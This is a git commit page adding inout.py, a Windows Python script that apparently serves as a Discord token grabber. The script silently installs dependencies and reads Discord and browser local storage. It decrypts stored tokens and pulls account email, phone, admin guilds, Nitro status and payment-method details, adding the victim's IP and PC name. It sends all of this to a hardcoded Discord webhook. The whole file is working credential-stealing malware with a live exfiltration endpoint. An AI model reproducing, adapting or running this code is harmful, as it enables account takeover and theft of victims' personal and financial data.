Dateien nach "/" hochladen
This commit is contained in:
213
inout.py
Normal file
213
inout.py
Normal file
@@ -0,0 +1,213 @@
|
|||||||
|
import os
|
||||||
|
if os.name != "nt":
|
||||||
|
exit()
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import urllib.request
|
||||||
|
import re
|
||||||
|
import base64
|
||||||
|
import datetime
|
||||||
|
|
||||||
|
def install_import(modules):
|
||||||
|
for module, pip_name in modules:
|
||||||
|
try:
|
||||||
|
__import__(module)
|
||||||
|
except ImportError:
|
||||||
|
subprocess.check_call([sys.executable, "-m", "pip", "install", pip_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
os.execl(sys.executable, sys.executable, *sys.argv)
|
||||||
|
|
||||||
|
install_import([("win32crypt", "pypiwin32"), ("Crypto.Cipher", "pycryptodome")])
|
||||||
|
|
||||||
|
import win32crypt
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
LOCAL = os.getenv("LOCALAPPDATA")
|
||||||
|
ROAMING = os.getenv("APPDATA")
|
||||||
|
PATHS = {
|
||||||
|
'Discord': ROAMING + '\\discord',
|
||||||
|
'Discord Canary': ROAMING + '\\discordcanary',
|
||||||
|
'Lightcord': ROAMING + '\\Lightcord',
|
||||||
|
'Discord PTB': ROAMING + '\\discordptb',
|
||||||
|
'Opera': ROAMING + '\\Opera Software\\Opera Stable',
|
||||||
|
'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable',
|
||||||
|
'Amigo': LOCAL + '\\Amigo\\User Data',
|
||||||
|
'Torch': LOCAL + '\\Torch\\User Data',
|
||||||
|
'Kometa': LOCAL + '\\Kometa\\User Data',
|
||||||
|
'Orbitum': LOCAL + '\\Orbitum\\User Data',
|
||||||
|
'CentBrowser': LOCAL + '\\CentBrowser\\User Data',
|
||||||
|
'7Star': LOCAL + '\\7Star\\7Star\\User Data',
|
||||||
|
'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data',
|
||||||
|
'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default',
|
||||||
|
'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data',
|
||||||
|
'Chrome': LOCAL + "\\Google\\Chrome\\User Data" + 'Default',
|
||||||
|
'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data',
|
||||||
|
'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Defaul',
|
||||||
|
'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default',
|
||||||
|
'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default',
|
||||||
|
'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
|
||||||
|
'Iridium': LOCAL + '\\Iridium\\User Data\\Default'
|
||||||
|
}
|
||||||
|
|
||||||
|
def getheaders(token=None):
|
||||||
|
headers = {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
|
||||||
|
}
|
||||||
|
|
||||||
|
if token:
|
||||||
|
headers.update({"Authorization": token})
|
||||||
|
|
||||||
|
return headers
|
||||||
|
|
||||||
|
def gettokens(path):
|
||||||
|
path += "\\Local Storage\\leveldb\\"
|
||||||
|
tokens = []
|
||||||
|
|
||||||
|
if not os.path.exists(path):
|
||||||
|
return tokens
|
||||||
|
|
||||||
|
for file in os.listdir(path):
|
||||||
|
if not file.endswith(".ldb") and file.endswith(".log"):
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(f"{path}{file}", "r", errors="ignore") as f:
|
||||||
|
for line in (x.strip() for x in f.readlines()):
|
||||||
|
for values in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
|
||||||
|
tokens.append(values)
|
||||||
|
except PermissionError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return tokens
|
||||||
|
|
||||||
|
def getkey(path):
|
||||||
|
with open(path + f"\\Local State", "r") as file:
|
||||||
|
key = json.loads(file.read())['os_crypt']['encrypted_key']
|
||||||
|
file.close()
|
||||||
|
|
||||||
|
return key
|
||||||
|
|
||||||
|
def getip():
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen("https://api.ipify.org?format=json") as response:
|
||||||
|
return json.loads(response.read().decode()).get("ip")
|
||||||
|
except:
|
||||||
|
return "None"
|
||||||
|
|
||||||
|
def main():
|
||||||
|
checked = []
|
||||||
|
|
||||||
|
for platform, path in PATHS.items():
|
||||||
|
if not os.path.exists(path):
|
||||||
|
continue
|
||||||
|
|
||||||
|
for token in gettokens(path):
|
||||||
|
token = token.replace("\\", "") if token.endswith("\\") else token
|
||||||
|
|
||||||
|
try:
|
||||||
|
token = AES.new(win32crypt.CryptUnprotectData(base64.b64decode(getkey(path))[5:], None, None, None, 0)[1], AES.MODE_GCM, base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[3:15]).decrypt(base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[15:])[:-16].decode()
|
||||||
|
if token in checked:
|
||||||
|
continue
|
||||||
|
checked.append(token)
|
||||||
|
|
||||||
|
res = urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v10/users/@me', headers=getheaders(token)))
|
||||||
|
if res.getcode() != 200:
|
||||||
|
continue
|
||||||
|
res_json = json.loads(res.read().decode())
|
||||||
|
|
||||||
|
badges = ""
|
||||||
|
flags = res_json['flags']
|
||||||
|
if flags == 64 or flags == 96:
|
||||||
|
badges += ":BadgeBravery: "
|
||||||
|
if flags == 128 or flags == 160:
|
||||||
|
badges += ":BadgeBrilliance: "
|
||||||
|
if flags == 256 or flags == 288:
|
||||||
|
badges += ":BadgeBalance: "
|
||||||
|
|
||||||
|
params = urllib.parse.urlencode({"with_counts": True})
|
||||||
|
res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/users/@me/guilds?{params}', headers=getheaders(token))).read().decode())
|
||||||
|
guilds = len(res)
|
||||||
|
guild_infos = ""
|
||||||
|
|
||||||
|
for guild in res:
|
||||||
|
if guild['permissions'] & 8 or guild['permissions'] & 32:
|
||||||
|
res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/guilds/{guild["id"]}', headers=getheaders(token))).read().decode())
|
||||||
|
vanity = ""
|
||||||
|
|
||||||
|
if res["vanity_url_code"] != None:
|
||||||
|
vanity = f"""; .gg/{res["vanity_url_code"]}"""
|
||||||
|
|
||||||
|
guild_infos += f"""\nㅤ- [{guild['name']}]: {guild['approximate_member_count']}{vanity}"""
|
||||||
|
if guild_infos == "":
|
||||||
|
guild_infos = "No guilds"
|
||||||
|
|
||||||
|
res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))).read().decode())
|
||||||
|
has_nitro = False
|
||||||
|
has_nitro = bool(len(res) > 0)
|
||||||
|
exp_date = None
|
||||||
|
if has_nitro:
|
||||||
|
badges += f":BadgeSubscriber: "
|
||||||
|
exp_date = datetime.datetime.strptime(res[0]["current_period_end"], "%Y-%m-%dT%H:%M:%S.%f%z").strftime('%d/%m/%Y at %H:%M:%S')
|
||||||
|
|
||||||
|
res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v9/users/@me/guilds/premium/subscription-slots', headers=getheaders(token))).read().decode())
|
||||||
|
available = 0
|
||||||
|
print_boost = ""
|
||||||
|
boost = False
|
||||||
|
for id in res:
|
||||||
|
cooldown = datetime.datetime.strptime(id["cooldown_ends_at"], "%Y-%m-%dT%H:%M:%S.%f%z")
|
||||||
|
if cooldown - datetime.datetime.now(datetime.timezone.utc) < datetime.timedelta(seconds=0):
|
||||||
|
print_boost += f"ㅤ- Available now\n"
|
||||||
|
available += 1
|
||||||
|
else:
|
||||||
|
print_boost += f"ㅤ- Available on {cooldown.strftime('%d/%m/%Y at %H:%M:%S')}\n"
|
||||||
|
boost = True
|
||||||
|
if boost:
|
||||||
|
badges += f":BadgeBoost: "
|
||||||
|
|
||||||
|
payment_methods = 0
|
||||||
|
type = ""
|
||||||
|
valid = 0
|
||||||
|
for x in json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=getheaders(token))).read().decode()):
|
||||||
|
if x['type'] == 1:
|
||||||
|
type += "CreditCard "
|
||||||
|
if not x['invalid']:
|
||||||
|
valid += 1
|
||||||
|
payment_methods += 1
|
||||||
|
elif x['type'] == 2:
|
||||||
|
type += "PayPal "
|
||||||
|
if not x['invalid']:
|
||||||
|
valid += 1
|
||||||
|
payment_methods += 1
|
||||||
|
|
||||||
|
print_nitro = f"\nNitro Informations:\n```yaml\nHas Nitro: {has_nitro}\nExpiration Date: {exp_date}\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
|
||||||
|
nnbutb = f"\nNitro Informations:\n```yaml\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
|
||||||
|
print_pm = f"\nPayment Methods:\n```yaml\nAmount: {payment_methods}\nValid Methods: {valid} method(s)\nType: {type}\n```"
|
||||||
|
embed_user = {
|
||||||
|
'embeds': [
|
||||||
|
{
|
||||||
|
'title': f"**New user data: {res_json['username']}**",
|
||||||
|
'description': f"""
|
||||||
|
```yaml\nUser ID: {res_json['id']}\nEmail: {res_json['email']}\nPhone Number: {res_json['phone']}\n\nGuilds: {guilds}\nAdmin Permissions: {guild_infos}\n``` ```yaml\nMFA Enabled: {res_json['mfa_enabled']}\nFlags: {flags}\nLocale: {res_json['locale']}\nVerified: {res_json['verified']}\n```{print_nitro if has_nitro else nnbutb if available > 0 else ""}{print_pm if payment_methods > 0 else ""}```yaml\nIP: {getip()}\nUsername: {os.getenv("UserName")}\nPC Name: {os.getenv("COMPUTERNAME")}\nToken Location: {platform}\n```Token: \n```yaml\n{token}```""",
|
||||||
|
'color': 3092790,
|
||||||
|
'footer': {
|
||||||
|
'text': "Made by Astraa ・ https://github.com/astraadev"
|
||||||
|
},
|
||||||
|
'thumbnail': {
|
||||||
|
'url': f"https://cdn.discordapp.com/avatars/{res_json['id']}/{res_json['avatar']}.png"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"username": "Grabber",
|
||||||
|
"avatar_url": "https://avatars.githubusercontent.com/u/43183806?v=4"
|
||||||
|
}
|
||||||
|
|
||||||
|
urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/webhooks/1469351399073775836/LA8meQPD8eue3bh3xScfnlPNLxYEo1IZ_fg5vbj-TDmXBKI--Vvsm3lEAsUG0BB8pH71', data=json.dumps(embed_user).encode('utf-8'), headers=getheaders(), method='POST')).read().decode()
|
||||||
|
except urllib.error.HTTPError or json.JSONDecodeError:
|
||||||
|
continue
|
||||||
|
except Exception as e:
|
||||||
|
print(f"ERROR: {e}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user